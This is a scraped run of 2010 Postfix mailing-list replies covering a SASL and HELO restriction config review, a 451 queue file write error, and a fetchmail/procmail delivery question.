smtpd_delay_reject = yes smtpd_helo_required = yes smtpd_helo_restrictions = reject_invalid_hostname This should be smtpd_helo_restrictions = permit_mynetworks permit_sasl_authenticated reject_invalid_helo_hostname It's not nice to reject authorized clients just because their mail client happens to bork the HELO name. smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, permit_mx_backup, check_policy_service inet:127.0.0.1:2525, reject_unauth_destination Remove permit_mx_backup, it's disabling all your other checks. smtpd_sasl_authenticated_header = no I like this set to yes, but that's just me. smtpd_sasl_security_options = noanonymous Caution, this setting allows plain text passwords to be sent unencrypted. Safer (but harder for testing and maybe less compatible): smtpd_sasl_security_options = noplaintext, noanonymous smtpd_sasl_tls_security_options = noanonymous and my master.cf: smtp inet n - n - 4 smtpd -o content_filter=amavis:[127.0.0.1]:10024 -o receive_override_options=no_address_mappings submission inet n - n - - smtpd # -o smtpd_tls_security_level=encrypt -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o smtpd_helo_restrictions= -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject You might want to add here -o smptd_sender_restrictions= to prevent main.cf parameters from interfering. Otherwise, looks reasonable. Remove your permit_mx_backup and everything should be dandy. -- Noel Jones
Re: Using Sasl authentication and RBL
Sent from my iPhone On 23/04/2010, at 10:10, Noel Jones njo...@megan.vbhcs.org wrote: On 4/22/2010 6:54 PM, webmas...@aus-city.com wrote: I do see some auth stuff in the logs, I put a snip: Apr 21 05:05:31 server postfix/smtpd[21639]: connect from unknown[xx.xx.xx.xx] Apr 21 05:05:31 server postfix/smtpd[21639]: NOQUEUE: client=unknown[xx.xx.xx.xx], sasl_method=PLAIN, sasl_username...@xx.com This confirms your AUTH is working. No need for further testing. If anyone can't send mail, they didn't AUTH. -- Noel Jones Hi Noel, Thanks, I really thought that was the case. I will check out my friends PC on the weekend and try to find out what is going on. As his Windows 7 + thunderbird works and his Fedora 11 and Windows XP don't for sending somethings weird. Also his W7 is a new install. I vaguely recall having him delete his XP thunderbird profile and redo it. Thanks again for your help and atleast got the master.cf better tweaked.
Re: [mailer-dae...@doctor.nl2k.ab.ca: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172]]
On Thu, Apr 22, 2010 at 06:35:52PM -0400, Bill Cole wrote:
In: DATA
Out: 354 End data withCRLF.CRLF
Out: 451 4.3.0 Error: queue file write error
http://www.postfix.org/SMTPD_PROXY_README.html explains one possible source
of this: inability to connect to a before-queue proxy.
This is quite possible.
Others include permissions and storage space issues with your queue
directory and various other configuration errors. What is sent back to the
client in this class of circumstances is documented as being intentionally
vague so you really do need to look at the log for useful info.
Right, a transient error storing the data into the queue, that is not
message too large (so missing ESMTP SIZE is probably not it...)
static const CLEANUP_STAT_DETAIL cleanup_stat_map[] = {
CLEANUP_STAT_DEFER, 451, 4.7.1, service unavailable,
CLEANUP_STAT_PROXY, 451, 4.3.0, queue file write error,
CLEANUP_STAT_BAD, 451, 4.3.0, internal protocol error,
CLEANUP_STAT_RCPT, 550, 5.1.0, no recipients specified,
CLEANUP_STAT_HOPS, 554, 5.4.0, too many hops,
CLEANUP_STAT_SIZE, 552, 5.3.4, message file too big,
CLEANUP_STAT_CONT, 550, 5.7.1, message content rejected,
CLEANUP_STAT_WRITE, 451, 4.3.0, queue file write error,
};
Anyway the OP's original post clearly included text that advised him to
read his logs for more details. There would have been no need to guess
at the cause had this advice not been ignored.
--
Viktor.
P.S. Morgan Stanley is looking for a New York City based, Senior Unix
system/email administrator to architect and sustain our perimeter email
environment. If you are interested, please drop me a note.
Re: mailbox_command
On Thu, Apr 22, 2010 at 05:20:37PM +0200, Danny wrote: I am running Debian 5.4 with postfix 2.5.5-1.1, fetchmail 6.3.9rc2-4 and procmail 3.22-16. Now, before I upgraded to Debian 5.4 I had Debian 4.0 running the same postfix, fetchmail procmail setup(with different versions obviously). Fetchmail got the mail, gave it to procmail via the (mda formail -s procmail) flag in my /etc/fetchmailrc file. Nothing in any of that indicates that you really are doing anything with Postfix. You use fetchmail(1) to retrieve (POP3 or IMAP) from a remote server, then pass to the procmail(1) delivery agent. Everything was running just nicely. So now I upgraded to Debian 5.4 and it seems like fetchmail is no longer calling procmail. Fetchmail just dumps everything into the /var/spool/mail/fetchmail file. It looks like it is bypassing the mda flag. Then I guess you might have a Debian packaging bug. You should probably file a Debian bug against fetchmail. (It could be an upstream bug too, but the Debian fetchmail maintainer should know.) My .procmailrc file is fine I think. So someone I know said that I should delete the following command in postfix's main.cf file mailbox_command = /usr/bin/procmail -a $EXTENSION ... but this does not change anything. Am I missing something here? The right mailing list. :) Also, apparently not understanding that Postfix plays no role in the mail handling you described. If there really IS a Postfix issue, see here before posting again: http://www.postfix.org/DEBUG_README.html#mail My /etc/fetchmail file is like this: # set syslog set postmaster root set no bouncemail set logfile /var/log/fetchmail.log set spambounce poll ###.###.###.### proto pop3 user username pass password fetchall expunge 50 mda formail -s procmail The top of my /root/.procmailrc file looks like this: This whole thing appears to be off topic, but one thing I will mention: it's wrong and potentially dangerous to handle user tasks like mail as root. This looks like it should all be done from a non-root user account. ### SHELL=/bin/sh PATH=$HOME/bin:/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin MAILDIR=~/Mail LOGFILE=/var/log/procmail.log LOGABSTRACT=all VERBOSE=on DEFAULT=~/Mail/inbox #DEFAULT=/var/mail/fetchmail PMDIR=$HOME=~/.procmail #INCLUDERC=$PMDIR/spam.rc I don't want to rewrite headers through formail or procmail. This is a home setup, and fetchmail must just go get the mail and pass it to procmail. -- Offlist mail to this address is discarded unless /dev/rob0 or not-spam is in Subject: header
